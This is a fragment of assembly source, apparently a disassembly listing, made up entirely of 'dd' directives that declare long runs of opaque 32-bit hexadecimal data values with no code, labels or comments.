		dd 132932CCh, 0ECD8DF1Eh, 0A1AA1055h, 26F7067Dh, 36A5BBC5h
		dd 0B0884040h, 4013B0E8h, 0C1BD012Bh, 97E9EA26h, 0B65F177Eh
		dd 28277CB8h, 0FE55244h, 10F38081h, 0E0C5DA4Bh,	0C280FA80h
		dd 0BC0AE991h, 490126C9h, 0FEBEC384h, 0BD550631h, 0B08451C0h
		dd 0A18B5AB8h, 8B8F6DD7h, 7C90FFEBh, 0C5A9398Dh, 9708F07Ch
		dd 5FF4314Ch, 19362BEh,	6842FA28h, 0D751FF9Eh, 94F81745h
		dd 0D364BF5Fh, 0F11712ABh, 0E9080083h, 29920307h, 0CE97AE90h
		dd 837227Dh, 0A5B6430h,	2F1907BBh, 553261h, 9EE6FD8Ah
		dd 4D8B7CDh, 68179E9Ah,	3CA37D70h, 0EA221F12h, 605B7038h
		dd 0C3EEB11Dh, 0C25A61C7h, 201468ECh, 0B19FB6A4h, 2A76DA56h
		dd 0E91FB1DAh, 0A7C826B1h, 4FF1EC7Fh, 5B7E4459h, 0C7D8BF50h
		dd 786B43A2h, 298EC4Ah,	5A8C40D6h, 52F4FB7h, 88136CE9h
		dd 6E12DB69h, 0A2BB666Bh, 18FED344h, 51030694h,	6F4D6804h
		dd 81EF4F44h, 0E913EC65h, 0CC0C825Dh, 750E8727h, 340837A8h
		dd 5914090Ch, 21DEB807h, 0CE9BE9F1h, 8872F3FDh,	5805F933h
		dd 6882D889h, 6003DE57h, 7BCD6853h, 34FDCBC5h, 414CDCE3h
		dd 85305716h, 6900835Bh, 0EB295112h, 0D29293BDh, 0CC5501FCh
		dd 0B95D5F96h, 471B1F24h, 685A7881h, 0D7C21CF3h, 2AD747Bh
		dd 0FF6BDC67h, 5E1673F9h, 64293DB1h, 0C7845B79h, 0F7C1912Eh
		dd 0FC08A6D0h, 9F976813h, 241B2721h, 0A635833Fh, 39C2F9BDh
		dd 1FAF1EB5h, 946CA1C9h, 0EEC24A88h, 0CF04FE12h, 5BC40B18h
		dd 41E13CA0h, 87A43E2Ah, 2FCA4188h, 0F3A722A8h,	2E500BD5h
		dd 5779559Ah, 96C1544Ah, 0B3324BBh, 2A05FA4Bh, 2ABDC9E9h
		dd 0AD4EC602h, 0BBD8968Eh, 0DA2D537Fh, 0F88E2288h, 36550693h
		dd 8AAEA54Bh, 1ACA1063h, 6D282D05h, 366BC78Dh, 0C5076343h
		dd 888F4926h, 0D166AEB2h, 5CA78EE0h, 1CBAA16h, 0A61831Ah
		dd 2090AFFh, 0DB9EF5A7h, 4F3E925h, 0D0D45DBFh, 0B005E082h
		dd 19384CFEh, 7A424191h, 18A8963h, 10A800CEh, 0B060AE2Bh
		dd 7450C01h, 4D0C0416h,	349C0B14h, 1D5F24FAh, 2F02F4A7h
		dd 6BE40F57h, 3045EC52h, 0E6FDAE09h, 502D3D0Bh,	572F23Fh
		dd 0F334ABF6h, 6FC0AB49h, 2DE9EF21h, 3E18A891h,	580EB4Ch
		dd 7C421299h, 0A510FA63h, 5EFE5F07h, 3A685070h,	924B3957h
		dd 0FE22B4h, 0AA0A31A4h, 435FE937h, 0F3AFD9C4h,	41102D37h
		dd 0A93A5B4Eh, 5D57B25Fh, 0B2318360h, 48A83E5Fh, 30428FB0h
		dd 0AC5F3C90h, 68580F01h, 0BF4D2123h, 0DECBAC88h, 1917A524h
		dd 0AAE15641h, 209A2AA6h, 0DC41A959h, 5B626C7Bh, 68C494B8h
		dd 0C4FFEC74h, 90B12FE9h, 0D8E12465h, 0BB9D474h, 7F10605Eh
		dd 3DA2BFDh, 9549463Ah,	5B8382FAh, 3B7C1F5h, 4F63093Fh
		dd 0EC512105h, 7660B17Ah, 67B72480h, 685BFE08h,	0EB466526h
		dd 5AC16665h, 0FE05EFF8h, 0A0EF9CC4h, 0FC9D05F8h, 50590602h
		dd 0EA412851h, 0F290F06Fh, 2C1E461Dh, 61BB3842h, 20377A1Ah
		dd 304FEE8Ch, 0B6F345BFh, 8777BED5h, 0E5FC79B5h, 0B4BDBC5Ah
		dd 0C0E91502h, 7D6E7F11h, 0C95235F6h, 38512029h, 0AA4A1BE0h
		dd 5CE8592Ch, 0EED2C306h, 680ADBA3h, 68D23A49h,	26FB0B3Eh
		dd 77623C5Ch, 74B25778h, 30B76DC0h, 8119BA00h, 4D17E7E5h
		dd 9EF3A176h, 6A023E79h, 4041ED49h, 0B9607CF4h,	5F201563h
		dd 35FE0001h, 430D5ECAh, 2340AE90h, 3BAE705h, 0F84FBE80h
		dd 58C62127h, 743E8398h, 0F8D52F2Bh, 9106D8ADh,	6BF5853Bh
		dd 0E63F74B1h, 755916F0h, 40078B8Ch, 689555ADh,	7DF735E1h
		dd 44292565h, 206364D5h, 0BCBE9021h, 0F30601Eh,	4C56C7BAh
		dd 0E203145Ah, 3FD044F1h, 634B0C07h, 0F2C00CA5h, 4C206C92h
		dd 6D17B314h, 17AF8AF8h, 77F85DB4h, 0BA17E790h,	7848F23Dh
		dd 0F5708897h, 6904A28h, 5A384B59h, 1F026BACh, 5F17BA47h
		dd 0CB5BDE75h, 0BEAA0F82h, 0A0215BFFh, 405D0999h, 12DA3D2Ch
		dd 1416ED05h, 0EA1E7742h, 15836B43h, 0E0EEFCD1h, 0DF0A45BEh
		dd 0B2314B57h, 65551239h, 480509FDh, 807D245Bh,	23325397h
		dd 49B26F5Fh, 2CDA0704h, 4B7BF8DFh, 74C46E84h, 0E90BE7BDh
		dd 0C67CB625h, 5824E253h, 2680767Eh, 2309882Ah,	0D20D88A2h
		dd 5F026806h, 54052F15h, 8157B4FDh, 2381FAF5h, 0C60817CEh
		dd 0B2F07B64h, 2DAAB6F6h, 2E9C97Bh, 442557Eh, 4B84AD29h
		dd 59740FAFh, 905D31E5h, 5A5FFE44h, 30927F97h, 5D7ADD5Ch
		dd 0F3421E5Ch, 0FD5C0516h, 19E78C04h, 0FEF19D5Dh, 0E059575Ah
		dd 0C50FE9C1h, 683CBFBAh, 4D2C259h, 803D5970h, 29220E6Bh
		dd 0BD2D51B0h, 5E9D1B1Dh, 5A56A82Ch, 82A590F8h,	78684551h
		dd 0D7951C33h, 68139C9Eh, 9EE34E7Eh, 1C9DFD5Ah,	3189AD66h
		dd 2BF3F5D8h, 9B4C8B09h, 72BEE054h, 4B4D9075h, 0C0A7ECD3h
		dd 56D8015Ch, 555B0B68h, 804079A5h, 22304D15h, 3525B806h
		dd 0EA734B08h, 5F2A740h, 0B65AB719h, 7FE90CF4h,	47248FCBh
		dd 0C3224D40h, 0BE597A96h, 21B8BE81h, 2F0AE946h, 0FE000CB9h
		dd 81742F54h, 0E17E97C1h, 31F8435Ah, 0A8FD5E73h, 0B5BED225h
		dd 0DEC02B87h, 9227F24Bh, 2F299726h, 0B99E3B07h, 3DFAD901h
		dd 66B02BBFh, 8549028Fh, 8642E915h, 63C81EEAh, 104B0968h
		dd 0B55EECh, 94422B20h,	0FD502979h, 0AF9501A5h,	5D552B0Fh
		dd 6C395219h, 6EBB2F1Ah, 18EC025Bh, 5C0161B3h, 900C0932h
		dd 82D23790h, 0DFFB809h, 0B7F10AA0h, 2924E578h,	7722805h
		dd 2B2037CDh, 0EAF5603Ah, 34ECC0Fh, 876D90EFh, 7E605815h
		dd 0F04368C2h, 0B462B8DDh
		dd 4F983AD5h, 3BB6A15h,	1045661Fh, 0FF9016D2h, 12795CEBh
		dd 0C40130ECh, 5A080B4Bh, 0E9439855h, 0CCE45ED0h, 5A97F36Fh
		dd 0C0DC8A9Eh, 82B17F19h, 2B203CC1h, 1FEA5ACCh,	7F253C26h
		dd 0C1B567A4h, 60C70E0Fh, 112C294h, 4003E2D1h, 0A72126A5h
		dd 0F5F1D729h, 5F27F360h, 61414822h, 0C32D3606h, 421F3A1Dh
		dd 0E9C4077Dh, 8CAF2B12h, 525B9163h, 0E84F05E3h, 5FFDC4D4h
		dd 0A92F51F9h, 0EF77175Ah, 0DFB47525h, 6805A867h, 0F5D80B36h
		dd 0D0C85BBEh, 5140CF6Bh, 1C8F3Bh, 5A282DF7h, 0F6BB5369h
		dd 5E23D04h, 106BDBACh,	68767B30h, 34764113h, 732B14AAh
		dd 0B1929604h, 5F9A8071h, 105B9B07h, 70ECA409h,	265CBF28h
		dd 4432C5C2h, 1F7B0FC5h, 0EB6B7307h, 22B810C0h,	27A97400h
		dd 20390540h, 0B0604B87h, 303E8D1h, 7879B52Dh, 0F9EEA80Bh
		dd 91B12EE2h, 0BF351200h, 0B192C1A3h, 0E13F87h,	0B62A2265h
		dd 74BE4001h, 4AB7CC95h, 0BF9200C0h, 1D2593Ch, 53051198h
		dd 21480729h, 0CEF7690h, 0A6024009h, 0CBFAF40h,	31675D17h
		dd 650B4520h, 83510DC8h, 300AFC53h, 7AC0BE56h, 0D09D564Ch
		dd 0BF5E4B12h, 0EC819AC8h, 57731899h, 3E550C49h, 500C9D18h
		dd 958AE146h, 6BCF3B76h, 0BFA4D03Bh, 0F70AFA67h, 7682B0C9h
		dd 5EA356C1h, 0C3A73E58h, 7ABD47E1h, 0EA4E1EF8h, 503F98Bh
		dd 4E8C0EFEh, 11FE2040h, 7B4D3C13h, 49560300h, 9645798Bh
		dd 81CA3523h, 13CBD8Ah,	29E1685Bh, 41AB8A2Bh, 2687EB9h
		dd 0D802C68h, 0C4026B26h, 4D04A2F1h, 6F763AC0h,	0E33A5BE7h
		dd 61635046h, 16B63609h, 52C80243h, 5552C296h, 76F4E509h
		dd 4E3EFC89h, 9F6095F9h, 46B0F001h, 1E37C148h, 787B469Fh
		dd 5808E950h, 4F265E95h, 0FD29B984h, 4E3D442h, 486F7488h
		dd 585258C0h, 0FD085A4Dh, 5F08407Ch, 3A346815h,	0F8471AD6h
		dd 0C05A82C7h, 8F5D0B7Ch, 3E4DE424h, 27B28FAh, 87603EE1h
		dd 0CB386C68h, 4403615h, 5C9FEA83h, 4C4CE930h, 68D7CF2Dh
		dd 1F59CD7Ch, 121C6F21h, 0EFA4C478h, 2BA1EFB9h,	64CC3B60h
		dd 0B86D4051h, 981FEC17h, 256C880h, 41054253h, 8EBE4808h
		dd 7725429Dh, 0A48995D3h, 0DF9AAB73h, 6FC2F419h, 0A24ACEACh
		dd 0FEE9828Ch, 0EF1C422h, 5CC12E80h, 4106095Fh,	0BEF1AF00h
		dd 1717304h, 0C583F0C2h, 0E9AFB002h, 0EB1A5CFDh, 4029ED81h
		dd 22C27EF4h, 0D9020B1Fh, 20B2817h, 7F229FADh, 0F520199Eh
		dd 0CFF095D0h, 0E1CB5495h, 662BF468h, 12BD2442h, 19E92603h
		dd 0EE71745Dh, 0E32B4BE3h, 0C17D79A4h, 0B5E1749Dh, 9C190506h
		dd 0C88CF476h, 0CDF52F07h, 5AD3DF31h, 0BA500043h, 301154ADh
		dd 0E097E2C1h, 7286EA3h, 0D731D9D6h, 0EB18B5E9h, 2C7B3DB6h
		dd 9D514AE6h, 0A599C9C8h, 8B3F957h, 500F4454h, 0F9B5CFB4h
		dd 8C3EADFEh, 35405B60h, 9D6650ACh, 2783A473h, 0F8714B34h
		dd 3549F282h, 0F11CC17Ch, 9FD00DA8h, 0CEA0F872h, 0A00D487Eh
		dd 1CF1291Bh, 0EFD50807h, 0B84B6CA8h, 2F80ACB6h, 18F593C3h
		dd 2C4AB4B8h, 1055E688h, 68AD05C5h, 0EB4540FBh,	57201FDEh
		dd 2FA87A4Ch, 11B32935h, 6CE9EAC0h, 0B32FD9BAh,	59D0F018h
		dd 5701FFFFh, 45466850h, 66E1DB8Ah, 52886F37h, 0CC6EF50Eh
		dd 9801C3D8h, 685EF22Dh, 0A62A7E8Eh, 4A64016Ch,	41494E75h
		dd 0D1C9D861h, 189C9340h, 225A904Dh, 542D40E6h,	50F5765Bh
		dd 24107E9h, 0FEDA50AFh, 43B32D04h, 0C4EF3EDAh,	59070790h
		dd 0C97DD468h, 0B2B91124h, 66D3C016h, 25E75A4Ch, 168FD36Bh
		dd 7A00FF2Bh, 0C968C3EEh, 7EA4A665h, 0E5C001B5h, 0BFED8006h
		dd 0F5A9CFD0h, 59EEC026h, 14A158B5h, 0EF9F6EE9h, 84431292h
		dd 0CCE1BE50h, 80641C20h, 1C177768h, 0C9A858CBh, 0D1283131h
		dd 0AD0DCE3h, 3126E6BFh, 0FDCB2654h, 0E5272C0Fh, 0D2094C84h
		dd 2AFEE6AFh, 0FCD4DA68h, 0A82754C7h, 294297CBh, 2B02C38Bh
		dd 0AB8165BCh, 0F7F53F4Fh, 90E92209h, 80B7D122h, 19950B83h
		dd 8D00F681h, 5217436Dh, 0E86F89BAh, 0D609267Fh, 38E60782h
		dd 0E969734Dh, 0F844CEDAh, 0DD03140Bh, 0D5F50208h, 542E902Fh
		dd 665D2530h, 0A72715F2h, 0BE7990B7h, 8E4209C1h, 915D210Dh
		dd 9965C901h, 47DE633Bh, 585F05ACh, 4E640A07h, 2E457509h
		dd 5462E3Fh, 40D67B4Ch,	0F44C8060h, 58E51D29h, 0E59C58Eh
		dd 0F3FE72EBh, 0C8352A9Bh, 0C8255176h, 2F4F722Ah, 0B159E7D2h
		dd 5756948Bh, 68704C1Ch, 1699024Eh, 0A5AEA92Bh,	3AB12DFBh
		dd 0CF5E5BA8h, 38FF4F3Fh, 4E27E904h, 1334EE8h, 0D55C2805h
		dd 7F2AE94Fh, 0DB80E552h, 119A0F33h, 9044017Bh,	57582F0Ch
		dd 2F94949Eh, 50465314h, 1D60B27Ch, 154AEA61h, 0EDC1E627h
		dd 5D59A06Ah, 0F7A02E27h, 4B264208h, 0FF679805h, 6882C3F3h
		dd 4FD93255h, 2D83EE88h, 7640B05Ch, 0E35BD86Dh,	0D434B36Ah
		dd 66762DA7h, 2A7827B0h, 10CB3776h, 9FF15D14h, 43B0A6EEh
		dd 0E684DC2Fh, 8023B34Eh, 44A2B850h, 4BD4360h, 7DC007EEh
		dd 9086C08Dh, 8B7BB56Dh, 58C52904h, 7FE33082h, 4FD5C209h
		dd 0B975A790h, 0FDEA8B98h, 4E503B59h, 0BA64B73Bh, 0D3250579h
		dd 0E398A031h, 4ED9DF6Fh, 0E634BA29h, 0C231D790h, 0DA62FE9h
		dd 0CABFE3E6h, 0ED864BD4h, 0B1CC9E4Eh, 0EF05D017h, 0EF79A50h
		dd 57370D17h, 5F5750Bh,	0C5EE2DE2h, 0C580FE6Eh,	9D95561h
		dd 0E4A1E96Bh, 273D15Fh, 4D797FA2h, 0E3251C70h,	8BEAC469h
		dd 5D0EBCFh, 0EFC15F0Bh, 60A30108h, 31FF4B67h, 0E1B1155Dh
		dd 0A2DDE038h, 0CBAE7197h, 8631EAD8h, 7EEF21F9h, 9C473CE0h
		dd 6CB02D97h, 0BC175ADCh, 89008138h, 0E976654Bh, 0A7594F88h
		dd 7DE94FC2h, 4A0D3210h, 0E87AB8DDh, 7046A297h,	0FAB84E75h
		dd 7C1AE914h, 0AFF72E2Ch, 794E6885h, 0E601CF8Dh, 0EE473B63h
		dd 0BCEE80D9h, 0B61B3E40h, 70670644h, 0EE021A38h, 0FDD2D3D8h
		dd 90027F89h, 550B66F0h, 6253F080h, 128284Eh, 6D1CC2D1h
		dd 0E9856B0Bh, 7A913889h, 663302B5h, 39762660h,	81095410h
		dd 73564CBh, 0E3704373h, 0C337B51h, 0E0D8E977h,	0EE06BD40h
		dd 3141783Dh, 133C27D6h, 0F95A9D6Ah, 88685D02h,	681B4E02h
		dd 0F254A546h, 0CB292C6Eh, 79D11F58h, 7A116FCCh, 28C45FDDh
		dd 5F8C0600h, 54E97FE2h, 58C0CCCAh, 0F205FDEAh,	82D72864h
		dd 2D0042CAh, 0B61F367Ch, 56510020h, 4C5B2E68h,	0A85E6928h
		dd 0DB583B16h, 9CA41106h, 5A04384Eh, 0C3085FF8h, 75F150CFh
		dd 96442AF8h, 0EA13E740h, 5C0F6891h, 93668B2Eh,	0C4ACCCBAh
		dd 21B68C92h, 0F82F0551h, 6E6809EAh, 82ABA247h,	0D0F70442h
		dd 0B4C5C493h, 0D6294F1Fh, 7A74E7CBh, 3EFB0992h, 130E77DFh
		dd 19DE0300h, 0EAA0CE01h, 0BD0367EFh, 0F7EB872Dh, 0D30909D5h
		dd 0EEF88CE9h, 581ADEBFh, 0F360BCE9h, 0B3E23520h, 0D1E31351h
		dd 48D04E8h, 8D258353h,	0F9DD19FFh, 401A622Eh, 560CB955h
		dd 0AA371570h, 48CF5AEh, 0F61743DAh, 4284D1B8h,	68C3EEF8h
		dd 53136046h, 0C7D82F29h, 0A43A5F42h, 5F69A588h, 4722480Dh
		dd 4135B443h, 4166C331h, 49A56FFDh, 0E4AC7E9Dh,	82675E2Dh
		dd 67C8DD25h, 304CFE68h, 4FEED135h, 9335FFA4h, 16923CE3h
		dd 7898891Ah, 5005C0F4h, 0BA115C39h, 9868165Ch,	2D3BCC42h
		dd 3CFE7112h, 0D61794F2h, 8E19E437h, 7A1F6E78h,	5956DD29h
		dd 0BE098FF0h, 3EEF0167h, 31303765h, 5DB512F1h,	6CC982D5h
		dd 0D72AEA46h, 335EA86Ah
		dd 0A21F8C2h, 856D087Bh, 77C98100h, 0C14E0152h,	0D63DD90Ch
		dd 49732036h, 69466102h, 0F2D4F6E9h, 55450B7Bh,	40570E8Ch
		dd 262FF507h, 0A77CD8h,	6AF662A8h, 0B36003E9h, 4B46EB61h
		dd 101E4C02h, 0A362C000h, 364CE974h, 3E7C1A8h, 5027FAC3h
		dd 0DF29D90Fh, 0EF63983Fh, 0F145D912h, 2DBE4A13h, 0EC3461DBh
		dd 0DE9F5A02h, 0FD8C85Bh, 9E10DD0h, 7857E168h, 1D8AC5B4h
		dd 0DB253F87h, 2DC7DE1h, 67C4BF0Ah, 0A6151D4Fh,	7DBB5E9Fh
		dd 1245287Eh, 0B7AAFCCFh, 0C1AD07Dh, 251494E9h,	395100C3h
		dd 0DF319EFEh, 0F950215Bh, 336775D8h, 79634922h, 0EA2F024Ah
		dd 73BE3935h, 541B061h,	67E044AAh, 3271EB74h, 0EA3B58C7h
		dd 0B6C34F3Ch, 0D2712CA6h, 3F368F61h, 807E5089h, 61121F06h
		dd 3520494Eh, 24553DE1h, 1C16C32h, 60121539h, 7BF03101h
		dd 0E9E02DE8h, 94BDD0C8h, 0E26E240Fh, 43645Ah, 34F4805Ah
		dd 4BDEF452h, 0C566EC4Ah, 70D448D9h, 0F4A799AEh, 1BC25835h
		dd 89895AD3h, 0FCC880AFh, 0B032B44Eh, 18DB09BAh, 74DE0166h
		dd 0DF0B9F0Bh, 38F1DB19h, 4F1E591Eh, 0D2311B8Dh, 0F7C699F9h
		dd 3EC97D1Bh, 0D4C665C3h, 3C00DE74h, 81EFD15Fh,	0EA584FCFh
		dd 0FCD5A320h, 53380500h, 9408D40h, 17E70C81h, 0B9061451h
		dd 9BE09409h, 0F02500E2h, 273F6026h, 46890DE9h,	955EAFD4h
		dd 0A4D6791Ah, 0FD42F8C2h, 0F02992B8h, 9689C5B7h, 0AC6325FEh
		dd 2EBA5AF8h, 0C3554ACFh, 0FCA25A48h, 0E9D404D2h, 2FCBE128h
		dd 4808F0D2h, 7B89F12Eh, 34424805h, 8015B504h, 6B57C009h
		dd 0F85B7FEBh, 0A2685F02h, 94DA661Bh, 56F02E5h,	0E9227D99h
		dd 83BC6891h, 0A7FEB4C0h, 0FCC9FED3h, 6A0E8BDAh, 0D38997D1h
		dd 9416DD12h, 9041B398h, 7FEBA17Ah, 0E4D85DA3h,	0E24E6806h
		dd 2C25E9BDh, 137BED77h, 0CA29BF5Dh, 965DB67Eh,	680828EEh
		dd 61A97DEEh, 0CEB24257h, 0EA2425FBh, 0D77DCC06h, 38C505AEh
		dd 0E033E161h, 36583DBAh, 67151044h, 927F7950h,	0BCBA2622h
		dd 0FBCE16F4h, 27FE82C6h, 87FE4481h, 0FC270868h, 48E98497h
		dd 979991A3h, 11313A5Fh, 0FA2A524Eh, 0E3E4FD67h, 710B5780h
		dd 46600548h, 0A92D81E9h, 0EB08D2EBh, 915B12A1h, 13991DFh
		dd 0A2E43B05h, 9B29025h, 69713886h, 2383A2Ah, 627C5379h
		dd 6B2C8E74h, 5D1C4709h, 0E91AE146h, 0F6606F3Bh, 4B4582DAh
		dd 0CD806C6Dh, 4DC4E901h, 0F75B6EC2h, 0D721E0D0h, 5132C95Ch
		dd 1A0B84F8h, 4B0E82h, 45E36F99h, 227095E1h, 3F38D4F3h
		dd 2690158h, 7DD509C1h,	0DBB1430Dh, 2952982Fh, 81BF90CEh
		dd 0D03E5908h, 7D0797E4h, 0F2893C12h, 5BB738FAh, 7FC05302h
		dd 7542D2F7h, 8A829C45h, 57022651h, 0D011B5Eh, 194A1C80h
		dd 2809F1D4h, 5F823CD2h, 9E84ADA2h, 68AB8289h, 1D3613D5h
		dd 8729408Ah, 100DBA52h, 0EAD1116Eh, 6E2C118h, 270E728Eh
		dd 4D8B495Eh, 1B928104h, 0E5478832h, 31CC741h, 102CF24Ah
		dd 8967BA57h, 0EA4DD55h, 0BF08AB29h, 576613ACh,	0DDDC104h
		dd 0C75C0006h, 2AFCBD03h, 0B4ABE978h, 0BEB80174h, 823C5403h
		dd 0A15E5270h, 59596013h, 0CEE91853h, 0F9C5EF62h, 0E14E17E2h
		dd 0FF5A6DF8h, 0E4D0B62Ch, 6808C3C2h, 6F104D6Dh, 0BE022B69h
		dd 52C272A9h, 51E6CEE0h, 445E8590h, 70C65CB4h, 5A909ACDh
		dd 278AB1BDh, 68530454h, 9ABB0F3Ch, 68EF4ADFh, 0F32768C4h
		dd 67ED9841h, 0CF2980C4h, 366BB7EEh, 0C1500135h, 47E788Eh
		dd 0A30FD07Fh, 44280079h, 18BD0316h, 2E422514h,	1498C7D5h
		dd 4D8BC4C5h, 0BA164DF6h, 0DEF36BD0h, 42A43DCCh, 0E3955896h
		dd 0CE3D4EEDh, 9D1DD930h, 5B8A9FD9h, 88A26A78h,	0A4037E13h
		dd 0A0EA08B0h, 2FE95E07h, 6ADC5492h, 340044CAh,	811C0873h
		dd 45D214F2h, 0CA3AD1D4h, 239B498Ch, 4B901846h,	0E2D14719h
		dd 0D0007B0h, 80932F4h,	76E88336h, 6F8BB9A5h, 12700C92h
		dd 5B603920h, 0FB50945Ch, 2C5AFB2h, 2AEEDCCh, 34C7549Ch
		dd 20D05C29h, 7DE92F08h, 4C270654h, 0F25B9705h,	7DA7C01Fh
		dd 7934FE5h, 0CFEB2284h, 0E943610Ah, 0DC34131Dh, 8C705B32h
		dd 7A409BD1h, 23479058h, 0DF4B6C5Eh, 0C7D3658Ch, 0FCB8110Fh
		dd 6517657Eh, 79E08CAAh, 75905149h, 440AF56Fh, 9079268h
		dd 0FB276D7h, 25404C97h, 0B5790D80h, 20C0B588h,	0A55B5B9Ah
		dd 5AC2E31h, 3F6737F1h,	48105AA6h, 0DBF7139Ah, 97ABA81h
		dd 0AFCB5592h, 0F9BEAB24h, 2A888785h, 0AEE922A0h, 0A31D6A6h
		dd 0E2F831F9h, 6CDF0C68h, 160D16E8h, 0C3C10B12h, 68448BF6h
		dd 5E584EA8h, 9E575CF2h, 38C2011h, 0CB4FF4B5h, 33CF40DDh
		dd 13B39270h, 0ABD7F7F9h, 0A84E3DB2h, 0E91A6165h, 77F21F85h
		dd 36629B7Ch, 79D8C670h, 0FE5B54h, 71F2BDDCh, 2EF46BF3h
		dd 98A03EBEh, 5CB88A2Fh, 0BB516526h, 6B0990A7h,	0D8705C46h
		dd 0C25FDC95h, 0C7DFC8F3h, 685C0209h, 0FBFE1D79h, 76FF4366h
		dd 0D48F2F50h, 52960071h, 0ED86808h, 61E55854h,	0DA8EBA27h
		dd 0D875BF5Bh, 57DABB09h, 24073C59h, 61AB4EE3h,	983A5353h
		dd 1718F7E3h, 0AC2A4085h, 6028E278h, 712D0E4Fh,	19B8DE88h
		dd 5FB1AA4Ah, 30757C6Fh, 0D042565Bh, 0AA06A168h, 0F50CC27Bh
		dd 418B2B77h, 0DE823B66h, 0BA89EB34h, 0F2BCC1CAh, 0BC07DD62h
		dd 0B21B8630h, 0A255E50Ah, 0F72262FCh, 0BFD597A5h, 973C1BF0h
		dd 0BF608829h, 4F2E3DC0h, 4A100615h, 8C08AE4Bh,	0AA8E62C8h
		dd 37BE9BDEh, 0DDC97B90h, 2B5E40E1h, 14897DB9h,	6F616DE4h
		dd 0DFC380F3h, 0EBD5E3C1h, 6B0620D7h, 0BA8D8E5Bh, 3F48F56Eh
		dd 5122F091h, 409A6800h, 0B072B794h, 0C0102034h, 1A19BBE5h
		dd 0E1F63EC4h, 1B90C6Bh, 35364067h, 0C8A02E31h,	0A1918108h
		dd 40B9228h, 0FD045951h, 41F28D79h, 2A4C743Dh, 0AE4169CAh
		dd 0EF4EB578h, 0E91289DBh, 5BAFFCADh, 3DB952ACh, 0CBF018A8h
		dd 4574336h, 0A36618BFh, 0C08F813Dh, 430405DBh,	4917519Ch
		dd 79A45BA4h, 0FF8CC564h, 4E48DD81h, 0BDCA96F4h, 7A139420h
		dd 0F6EC2B10h, 8648FB02h, 57F701DEh, 2D6089D6h,	12F86BD9h
		dd 0E9C82928h, 0A0078F06h, 0F74A0A30h, 0CFD2E4DAh, 0E0260DD2h
		dd 0BD20A64Bh, 38E3984Ch, 0BBA66EC3h, 7693083Ch, 0ED014D1Fh
		dd 0F203FA14h, 0D2AFE13Bh, 0C3290AC8h, 0B92DF390h, 0BE8C53Ch
		dd 0E9DCFDF1h, 4440C480h, 17D2BE05h, 0BC86430Eh, 4CFC1797h
		dd 829DC7A3h, 480E0CE3h, 0FCE6EE82h, 4F4723D7h,	0F8019965h
		dd 3AEB0F06h, 0FC5A23ACh, 9B10566h, 0F801033h, 38682457h
		dd 0FE5E6F5Dh, 5F845B2Ch, 1064A630h, 6808E0BFh,	353D26D2h
		dd 0BBFC8557h, 0AC4401D6h, 4060DA5Eh, 7C6FD4D3h, 4724548h
		dd 1AB84223h, 0C32BD0EEh, 0FA7CAD52h, 4ADE292Dh, 81F05D64h
		dd 0B5696367h, 80CDFEC1h, 0B668F0h, 59EE3042h, 2C5AF008h
		dd 0E8C0ED01h, 0E9443402h, 0AE2F62D5h, 0C6B2DD67h, 0B06644Fh
		dd 0B297ED0Ah, 0D5712E06h, 3951420Fh, 0BFA5E425h, 8016500Bh
		dd 2B07C5BFh, 0DE0E95E8h, 0D6EE011Dh, 0F1A58440h, 3BCDFC12h
		dd 0F4F7E4A8h, 6F821624h, 0D362AD17h, 0EDD25752h, 0E42D6290h
		dd 446C7132h, 0FFD1020Ch, 22CC55FEh, 0A22F6825h, 0D7446600h
		dd 0DE2DF345h, 9168CB24h, 9DC93932h, 0A9ABDFC5h, 9DFA64CBh
		dd 54D87C57h, 314EF7A0h, 0E903B705h, 0B920E616h, 6FB02083h
		dd 0A81C7241h, 0AC7E9F08h, 5C780540h, 84405E86h, 880704DDh
		dd 0D475F210h, 4694104Ah
		dd 79CAEF4Ah, 3014EF10h, 7E4D6653h, 0E35F283h, 348C59E6h
		dd 846337A0h, 7B2FE946h, 0E95F540Dh, 0AF0F9F05h, 43557A9Ch
		dd 0F0FD4FBDh, 0AB98FAD3h, 0A1F360CAh, 0E02A82BFh, 0CF811400h
		dd 2B0403D5h, 3C162E68h, 0C18BC226h, 300BC059h,	0C76E84C3h
		dd 1EEB45F4h, 0C862C23Eh, 0DE2FA8B6h, 3D6809DCh, 793CCB10h
		dd 1EE3C080h, 8BD3F603h, 6E5F1BEDh, 0C39428ACh,	3A5D0C2Dh
		dd 15E21F60h, 40DF2B19h, 0CDFCC12Eh, 706ABD47h,	2A5D0806h
		dd 0AC1B050Ch, 12034264h, 0AF3A7A22h, 9A24AA4h,	31694520h
		dd 8D558803h, 7FED852Dh, 0C75E1807h, 6D9F9F4Bh,	5CD81156h
		dd 0C10D28E9h, 0EF5ABF20h, 7FCD0124h, 72BF8812h, 0A5C1D89Ch
		dd 0E11E14EAh, 57996B44h, 0CD0EC681h, 84551A92h, 5CDEC35h
		dd 4BE40261h, 2CC81EC7h, 0B0B601E1h, 0F009E680h, 7397255Fh
		dd 0E3ADBD4Bh, 0EF73A976h, 0ADABADF4h, 0C83BC28Ch, 0FD95C09Ch
		dd 0E638CBFEh, 5411C977h, 96602C41h, 1749317Fh,	0D4E32B4Eh
		dd 7602B42Fh, 0D5D69468h, 0C418B860h, 0E18E50E7h, 37690EF7h
		dd 41D02978h, 53163F08h, 90058E0Bh, 3D0B6F43h, 37907E45h
		dd 0C1BE0174h, 31789F69h, 0D0A1A96Fh, 11F5289Ch, 0BB685B1Eh
		dd 825FDB1h, 0AE3FB939h, 80103B96h, 0F1755D4Ch,	6EE9060Bh
		dd 559431FDh, 0A2108569h, 562D007Dh, 57E201Fh, 54821662h
		dd 96BFC83h, 8413A53Eh,	4080532Ah, 0E24C3D7Ah, 0F8F35F89h
		dd 71709853h, 0B11E3B99h, 6360057Bh, 0D4016BDCh, 5B0804A9h
		dd 83E3FA58h, 5FC27C89h, 0C2220684h, 3AF5BC68h,	0D690DFD7h
		dd 0AF83AC6Fh, 0DEBFF00Ah, 567076EEh, 0A2806141h, 6F89402Ch
		dd 969E4968h, 6C2EBE60h, 0BC734EA8h, 0BC680BDBh, 2068660Bh
		dd 0BA3C1157h, 21601350h, 0AF5CA00h, 17051F93h,	0FC9A622Ch
		dd 72D28D3h, 0FB85A4Ch,	0A8475D37h, 0C10F37F8h,	6BF32F45h
		dd 3AB3AC0h, 9259B56Bh,	0F44FCD02h, 0B3974005h,	0A48827A2h
		dd 6AC2A042h, 5874274h,	7FB50B69h, 892DC0C2h, 0D1DA0307h
		dd 0E0F760F1h, 191A5AD3h, 6355828h, 1595F17h, 5C82A418h
		dd 6B462525h, 102050D2h, 0E289270Ch, 7E8A6E7Fh,	611660E9h
